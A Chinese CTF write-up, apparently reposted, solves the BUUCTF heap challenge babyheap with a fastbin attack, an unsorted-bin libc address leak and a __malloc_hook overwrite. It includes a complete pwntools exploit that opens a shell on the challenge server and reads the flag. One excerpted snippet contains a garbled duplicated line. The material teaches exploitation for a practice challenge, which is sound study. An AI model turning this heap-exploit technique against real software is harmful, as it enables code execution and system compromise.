BUUCTF[堆][unsortbin]

news2025/2/25 22:23:22

fastbin Attack 、unsorted bin

思路:

  1. 利用double free的方式泄漏出unsortbin中的main_arena地址。

  2. 释放一个不属于fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。

  3. 当有一个(或几个) small/large chunk 被释放(不属于fastbin)时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址。

  4. main_arena结构示意图(白嫖:https://www.52pojie.cn/thread-1467962-1-1.html):

    image-20240711165914940

题解:

题目地址:BUUCTF在线评测 (buuoj.cn)

  1. 程序使用一个结构体数组来存储堆的指针、大小、是否被使用或者释放等信息,可以将结构体补充上去:

    image-20240711160314378

    image-20240711160244931

  2. fill函数存在堆溢出,可以利用这个漏洞实现double free,配合dump函数泄漏main_arena地址:

  3. free函数中将堆指针清0,不能使用UAF:

    image-20240711160518623

  4. 利用过程:

    • 先申请4个小chunk,一个大chunk,再释放chunk1和chunk2,chunk2 用来修改fd,指向chunk4,来达到double free的效果:
    add(0x10,b'a')    #0
    add(0x10,b'b')    #1 作为修改fd,指向chunk4的牺牲品
    add(0x10,b'c')    #2 用来修改fd,指向chunk4
    add(0x10,b'd')    #3 用来恢复chunk4的size字段
    add(0x80,b'e')    #4 small chunk用来得到main_arena地址
    
    free(1)
    free(2)
    
    #修改chunk2的fd指针,指向chunk4
    payload = p64(0)*3 + p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
    fill(0,payload)
    

    修改前,chunk2的fd指向chunk1:

    image-20240711161110921

    修改后,chunk2的fd指向chunk4(此时chunk4并没有被释放,所以再申请回去就能达成了double free,两个指针指向同一个chunk):

    image-20240711161147880

    • 利用堆溢出修改chunk4的size字段,来绕过malloc 的检查:
    #修改chunk4的size字段,申请时绕过fastbin的检查
    payload = p64(0)*3+p64(0x21)
    fill(3,payload)
    

    image-20240711161459967

    • 两次申请,将chunk4申请回原来的chunk2位置,再利用chunk3修改回chunk4的size字段(便于后面继续分配chunk):
    #第二次申请chunk4(2)
    add(0x10,b'f')    #1
    add(0x10,b'g')    #2 与4一起指向small chunk
    #将chunk4的size字段改回来
    payload = p64(0)*3 + p64(0x91)
    fill(3,payload)
    

    image-20240711161804445

    • 此时直接释放chunk4(或者chunk2)由于与top chunk相邻,会被直接回收,所以再申请一个chunk将其隔开,然后再释放:
    #防止chunk4释放后,进入top chunk
    add(0x10,b'h')  #5 
    free(4)
    
    • 此时chunk2(chunk4)中会存在main_arena中的unsorted地址:

    image-20240711170418963

    • 正常情况下(此题没有UAF)再free掉chunk后是不能再访问的,但是前面构造的double free让我们可以利用chnk2和chunk4访问同一个chunk,前面用4释放了所以现在用chunk2来输出其中的内容(chunk2和chunk4指向同一个chunk):
    dump(2)
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    ##__malloc_hook只与main_arena地址相差0x10
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    #获得main_arena偏移后计算libc基地址
    libc_base = addr-(main_arena_offset+0x58)
    success("libc_addr==>"+hex(libc_base))
    
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    #用one_gadget查出execve的偏移
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    execve_addr  = 0x4526a + libc_base
    success("malloc_hook==>"+hex(malloc_hook))
    success("execve_addr==>"+hex(execve_addr))  = 0x4526a + libc_base
    success("malloc_hook==>"+hex(malloc_hook))
    success("execve_addr==>"+hex(execve_addr))
    

    image-20240711164108341

    • 在malloc_hook之前伪造一个chunk,用来覆盖malloc_hook:
    #申请一个size字段为0x71的chunk,再释放掉,如何修改其fd值,指向malloc_hook前面size为0x7f的空间伪造chunk(malloc_hook-0x23)
    add(0x60,b'6')  #4
    free(4)
    payload = b"AAAAAAAA"*3 + p64(0x71) + p64(malloc_hook-0x23)
    fill(3,payload)
    

    image-20240711164131595

    image-20240711165225361

    • 两次申请,申请到伪造的chunk,然后堆溢出修改malloc_hook,最后调用即可:
    #将伪造的chunk申请回来
    add(0x60,b't')  #4
    add(0x60,b'j')  #6
    
    #覆盖malloc_hook指向execve_addr,覆盖的垃圾数据要在gdb中计算好
    payload = b"AAAAAAAA"*2+b"aaa"+p64(execve_addr)
    fill(6,payload)
    
    #调用evecve("/bin/sh")
    add(0x100,b'lzl')
    p.sendline(b"cat flag")
    p.interactive()
    
  5. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    p = remote("node5.buuoj.cn",25775)
    # p = process("./pwn")
    libc = ELF('./libc-2.23.so')
    elf = ELF("./pwn")
    
    
    def add(size,content):
        p.sendlineafter(b':','1')
        p.sendlineafter(':',str(size))
        # p.sendlineafter(':',content)
    
    def fill(index, content):
        p.sendlineafter(':','2')
        p.sendlineafter(':',str(index).encode())
        p.sendlineafter(':',str(len(content)))
        p.sendafter(b':',content)
    
    def free(index):
        p.sendlineafter(':','3')
        p.sendlineafter(':',str(index).encode())
    
    def dump(index):
        p.sendlineafter(b':',b'4')
        p.sendlineafter(b':',str(index).encode())
    add(0x10,b'a')    #0
    add(0x10,b'b')    #1 作为修改fd,指向chunk4的牺牲品
    add(0x10,b'c')    #2 用来修改fd,指向chunk4
    add(0x10,b'd')    #3 用来恢复chunk4的size字段
    add(0x80,b'e')    #4 small chunk用来得到main_arena地址
    
    free(1)
    free(2)
    
    #修改chunk2的fd指针,指向chunk4
    payload = p64(0)*3 + p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
    fill(0,payload)
    
    #修改chunk4的size字段,申请时绕过fastbin的检查
    payload = p64(0)*3+p64(0x21)
    fill(3,payload)
    
    #第二次申请chunk4(2)
    add(0x10,b'f')    #1
    add(0x10,b'g')    #2 与4一起指向small chunk
    #将chunk4的size字段改回来
    payload = p64(0)*3 + p64(0x91)
    fill(3,payload)
    
    
    #防止chunk4释放后,进入top chunk
    add(0x10,b'h')  #5 
    free(4)
    
    #由于2被释放,所以用4来输出其中的main_arena,如果前面释放的是chunk2,那就用chunk4打印
    dump(2)
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    libc_base = addr-(main_arena_offset+0x58)
    success("libc_addr==>"+hex(libc_base))
    
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    execve_addr  = 0x4526a + libc_base
    success("malloc_hook==>"+hex(malloc_hook))
    success("execve_addr==>"+hex(execve_addr))
    
    #申请一个size字段为0x71的chunk,再释放掉,如何修改其fd值,指向malloc_hook前面size为0x7f的空间伪造chunk(malloc_hook-0x23)
    add(0x60,b'6')  #4
    free(4)
    payload = b"AAAAAAAA"*3 + p64(0x71) + p64(malloc_hook-0x23)
    fill(3,payload)
    
    
    #将伪造的chunk申请回来
    add(0x60,b't')  #4
    add(0x60,b'j')  #6
    
    #覆盖malloc_hook指向execve_addr
    payload = b"AAAAAAAA"*2+b"aaa"+p64(execve_addr)
    fill(6,payload)
    
    #调用evecve("/bin/sh")
    add(0x100,b'lzl')
    p.sendline(b"cat flag")
    p.interactive()
    

    image-20240711165659284

参考:

  1. 从零开始的Linux堆利用(六)——Unsortedbin Attack - 『软件调试区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
  2. [分享]0ctf2017 - babyheap-Pwn-看雪-安全社区|安全招聘|kanxue.com

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1918586.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

问题清除指南|Dell OptiPlex 7070 升级 win11 开启 TPM 2.0 教程

前言:最近想把实验室台式机的系统从 Windows 10 升级到 Windows 11,遇到一点小问题,在此记录一下解决办法。 ⚠️ 注:本教程仅在 Dell OptiPlex 7070 台式机系统中测试有效,并不保证其余型号机器适用此教程。 参考链接…

不同材质酒店智能开关的功能特点详解

在当今的酒店行业中,智能开关已成为提升客户体验和管理效率的重要设备。而不同材质的智能开关,不仅在外观上各具特色,其功能特点也有所差异。 玻璃材质智能开关: 玻璃材质的智能开关给人一种时尚、简约且高端的感觉。其表面光滑&a…

Iridient Developer:解锁Mac RAW图像处理的极致潜力,打造专业级色彩与细节

Iridient Developer for Mac是一款专为Mac用户设计的RAW图像调整软件,它以其卓越的性能和丰富的功能,赢得了众多摄影师的青睐。以下是对这款软件的详细介绍: 一、强大的RAW图像处理能力 Iridient Developer专为处理RAW图像而设计&#xff0…

连锁行业观察:一线门店设备如何运维?化“管理”为“服务”

连锁零售行业的数字化发展,离开不了大量智能设备的支撑,比如我们日常见到的各种门店互动终端、自助收银设备、无人值守售货机等等。 由于连锁行业的特性,这些设备往往位置分散,数量众多,难以集中管理。一旦这些设备遇…

48、DR+keepalive

DRkeepalive 注意vrrp_iptables:##不创建iptables策略 keepalive的脑裂问题怎么解决? DRkeepalive解决主服务器挂了,备服务器立即进入工作。 DRkeepalive思路 主调度器:test1:192.168.168.100副调度器:test2&#…

渲染100农场是什么?渲染100邀请码1a12

作为设计师,渲染农场肯定听过,它在视觉行业有着重要作用,那么渲染农场是什么您知道吗?今天我们就来看看吧。 渲染农场,英文名Render Farm,是一种分布式并行计算系统,是利用现成的以太网、CPU和…

网上下载的视频怎么转成mp4格式?教你一招轻松解决

网上拥有许多的视频资源,动漫,短视频,影视等等都层出不穷,很多小伙伴都会把一些视频进行下载下来,不过下载下来的视频都不是MP4格式的,在兼容性方面会比较的麻烦,会有播放器不支持的情况&#x…

【MySQL】mysqldumpslow工具 -- 总结慢查询日志文件

1. 作用 在平时使用MySQL数据库时,经常进行查询操作,有些查询语句执行的时间非常长,当执行时间超过设定的阈值时,我们称这个查询为慢查询,慢查询的相关信息通常需要用日志记录下来称为慢查询日志,mysqldum…

java项目中与客户对接接口

个人名片 🎓作者简介:java领域优质创作者 🌐个人主页:码农阿豪 📞工作室:新空间代码工作室(提供各种软件服务) 💌个人邮箱:[2435024119qq.com] &#x1f4f1…

德国哥廷根大学《Nature Geoscience》最新成果!揭示热带森林对季节性干旱的响应机制!

本文首发于“生态学者”微信公众号! 越来越多的研究称热带森林的生产力受到养分限制,这可能影响其对季节性干旱的反应(Nature正刊!亚利桑那大学 博士生陈舒立一作兼通讯 最新重磅成果!;《Nature Geoscience…

MYSQL查询审批流程最新的一条记录示例

首先说下需求 就是我们有一个申请审批流程记录表,用来处理申请的流程审批,要求就是普通用户只能看见自己的审批记录,管理员可以看见所有的审批记录,这里有个问题就是管理员本身也可能是审批人,所以查询的时候就会稍微复…

【深度好文】合作伙伴关系管理自动化:双向共赢新趋势

在当今快速变化的商业环境中,合作伙伴关系已成为企业成功的关键因素之一。为了更高效地管理这些关系,合作伙伴关系管理自动化正逐渐成为行业的新趋势,它不仅简化了管理流程,更促进了双方共赢的局面。 一、传统管理 VS 自动化管理 …

国产化趋势下源代码数据防泄密的信创沙盒的方案分享

随着国产化的大力推进,越来越多的企事业单位在逐步替换Windows、Linux等操作系统的使用。那么什是国产化了?国产化是指在产品或服务中采用国内自主研发的技术和标注,替代过去依赖的他国的产品和服务,国产化又被称之为“信创”&…

09.AOP-尚硅谷Spring零基础入门到进阶,一套搞定spring6全套视频教程(源码级讲解)

现有代码缺陷 针对带日志功能的实现类,我们发现有如下缺陷: 对核心业务功能有干扰,导致程序员在开发核心业务功能时分散了精力附加功能分散在各个业务功能方法中,不利于统一维护 解决思路 解决核心:解耦。把附加功能从…

华为官方出品:《应用现代化实践指南》电子书,可免费下载

本期云享书库为各位开发者带来了应用现代化方面的技术内容。 在数字化时代,企业面临着前所未有的机遇与挑战。随着技术的飞速发展,特别是云计算、大数据、人工智能(AI)和机器学习(ML)的兴起,正…

中国科学院地理所牛书丽团队《Global Change Biology 》最新成果!

本文首发于“生态学者”微信公众号! 在全球气候变化的背景下,干旱地区的扩张对生态系统的氮循环产生了深远影响。氮同位素(δ15N)的天然丰度,尤其是土壤中的δ15N,是评估陆地生态系统氮循环动态和氮限制的关…

你的数据库真的规范吗?小心这些“潜在风险”!

这个简单的小功能,解决了无数企业最头疼的问题。 分享个比较常见的案例。某个客户,在全国范围有近千万的注册用户,日均交易量数十万笔。企业使用 MySQL 数据库存储核心业务数据,包括用户信息、订单信息、商品信息等。某天&#x…

windows信息收集和提权

目录 手动收集 工具收集 windows本地内核提权 本地提权 根据windows去找需要的exp进行利用 提权后结合mimikatz使用 msf提权 简单提权 生成后门 上线 BypassUAC绕过UAC提权 msf带的bypassuac模块可以尝试提权 Bypassuac提权命令操作 提权成功 ​local_exploi…

c++多态的定义和原理

目录 1、多态的定义和实现 1.多态的构成条件 2.虚函数 3.虚函数的重写(覆盖) 4.虚函数重写的两个例外 5.c11 override和final 6.重载,覆盖(重写)和隐藏(重定义) 2、抽象类 概念 接口继承和实现继承 3、多态的原理 1.虚函数表 2.多态的原理 4、多继承中的虚…

deep learning 环境配置

1 NVIDIA驱动安装 ref link: https://blog.csdn.net/weixin_37926734/article/details/123033286 2 cuda安装 ref link: https://blog.csdn.net/qq_63379469/article/details/123319269 进去网站 https://developer.nvidia.com/cuda-toolkit-archive 选择想要安装的cuda版…